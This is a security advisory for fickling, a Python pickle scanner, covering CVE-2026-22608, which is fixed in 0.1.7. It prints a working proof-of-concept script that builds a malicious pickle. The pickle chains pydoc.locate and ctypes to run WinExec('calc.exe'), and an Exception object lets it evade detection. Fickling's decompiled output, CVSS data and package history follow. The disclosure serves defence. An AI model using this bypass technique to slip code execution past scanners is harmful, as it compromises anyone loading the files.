Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | fickling | < 0.1.7 | 0.1.7 |
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4
- https://nvd.nist.gov/vuln/detail/CVE-2026-22608
- https://github.com/trailofbits/fickling/pull/195
- https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1
- https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6
- https://github.com/trailofbits/fickling
- https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145
- https://github.com/trailofbits/fickling/releases/tag/v0.1.7
- https://pypi.org/project/fickling
- https://github.com/advisories/GHSA-5hvc-6wx8-mvv4
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-184, CWE-502- Platform
- Python (PyPI)
- Package
fickling- Disclosed
- 09.01.2026
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1369 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-5hvc-6wx8-mvv4 - CC BY 4.0
Vulnerability history: fickling
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 16
- First → latest
- 12.2025 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 11
- Medium 3
- Low 1
Disclosures per year
- 2025: 2
- 2026: 14
-
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.